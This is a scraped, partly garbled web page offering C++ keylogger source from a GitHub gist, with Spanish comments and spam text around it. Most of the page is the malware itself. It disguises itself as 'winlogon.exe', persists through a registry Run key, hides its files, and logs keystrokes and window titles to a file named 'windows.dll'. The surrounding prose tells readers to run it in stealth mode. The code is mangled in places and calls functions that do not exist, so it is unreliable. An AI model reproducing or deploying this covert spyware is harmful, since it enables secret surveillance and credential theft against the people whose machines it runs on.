• Home

Keylogger Code Dev C++

 
  1. Dev C++ For Windows 10
  2. Dev C++ 5.11
gistfile1.cpp

Keylogger simple en c. GitHub Gist: instantly share code, notes, and snippets. If you want to learn to code at an advanced level in C or build your own fully functional advanced keylogger from scratch for learning ethical hacking, I think you might love this course!In this course you will see exactly how to create an advanced keylogger starting from nothing by literally following the steps I take as I make it! Mar 06, 2017  Open a browser and type something, and go to the C keylogger folder you will see a text file called Record wich have the information you typed. It will keep running in the background unless you stop it. To close the C keylogger go to Task manager by pressing Ctrl+alt+Del. Select the keylogger and choose Endtask.

#include<cstring>
#include<windows.h>
#include<fstream>
#include<ctime>
usingnamespacestd;
intmain ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( 'windows.dll' );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal = getenv ( 'HOMEPATH' );
discolocal = getenv ( 'SystemDrive' );
strcpy ( archivo,discolocal );
strcat ( archivo,dirinstal );
//se crea el archivo log
ofstream logos;
char winlog [70];
strcpy ( winlog, archivo );
strcat ( winlog, 'windows.dll' );
logos.open ( winlog, ios::out ios::app );
logos.close ();
//-------
strcat ( archivo, 'winlogon.exe' );
// se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
'SoftwareMicrosoftWindowsCurrentVersionrun',
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, 'windout', 0, REG_SZ,
(constunsignedchar * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return0;
}
logc.close();
// abre el archivo log
ofstream log;
log.open ( 'windows.dll', ios::out ios::app );
while ( true )
{
GetAsyncKeyMap (true);
GetCaptureWindow (0);
for (int CaptureWindow [1]); {
}
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( '' ) -32767)
{
log << '';
}
if ( GetAsyncKeyState (1) -32767)
{ //CLICK izquierdo
log << '[click-izq]';
}
if ( GetAsyncKeyState(2) -32767 )
{ //click derecho
log << '[click-der]';
}
if ( GetAsyncKeyState (8) -32767 )
{ // nada que decir
log << '[backspace]';
}
if ( GetAsyncKeyState (190) -32767 )
{ // nada que decir
log << '.';
}
if ( GetAsyncKeyState (188) -32767 )
{ // nada que decir
log << ',';
}
if ( GetAsyncKeyState (13) -32767 )
{ // nada que decir
log << '[enter]';
}
//capturar flechas
if(GetAsyncKeyState(37) -32767)
{ // nada que decir
log << '[left]';
}
if(GetAsyncKeyState(38) -32767 )
{ // nada que decir
log << '[up]';
}
if(GetAsyncKeyState(39) -32767 )
{ // nada que decir
log << '[right]';
}
if(GetAsyncKeyState(40) -32767)
{ // nada que decir
log << '[down]';
}
if(GetAsyncKeyState(9) -32767)
{
log << '[tab]';
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarables de cambio de ventana
if ( strcmp ( ventana, venta2 ) != 0 )
{
//ventana a comparar
char key[]= 'lolwinlogonlol';
// sera el nombre de la ventana que cierre el proceso
if ( strcmp ( ventana,key ) 0 )
{
log.close ();
return0;
}
//calcular la fecha
time_t tiempo = time (0);
structtm *tlocal = localtime (&tiempo);
char output[128];
strftime ( output, 128, '%d/%m/%y %H:%M:%S', tlocal );
//--------------------
log << endl << '-------------------------' << endl;
log << 'fecha:' << output << endl;
log << endl << 'ventana:'<< venta2 << endl;
}
}
return0;
}
//y para ver los logs:
#include<iostream>
#include<cstring>
#include<windows.h>
usingnamespacestd;
intmain()
{
char direccion[70]='notepad '';
char *disco;
char *varsis;
SetConsoleTitle('lolwinlogonlol');
cout << 'espere mientras se abre el archivo:' << endl;
varsis=getenv('HOMEPATH');
disco=getenv('SystemDrive');
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,'windows.dll'');
system(direccion);
cout << 'lol' ;
return0;
}

Dev C++ For Windows 10

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Dev C++ 5.11

Aug 14, 2017  You need to code the keylogger to run in stealth (hidden) mode. The first task is carried out by a function - GetAsyncKeyState - which is a part of windows API in C. Hence, this function returns a specific value when the ASCII value of the character key pressed is passed as an argument. Install dev C in your system and open the dev C compiler. Go to File-New-Source File. You can see a blank works space will be there in window. Now copy the below keylogger code into the blank work space. #include using namespace std; #include. Auto tune bruno mars. Create your own Keylogger using C; C, Batch Virus code to disable.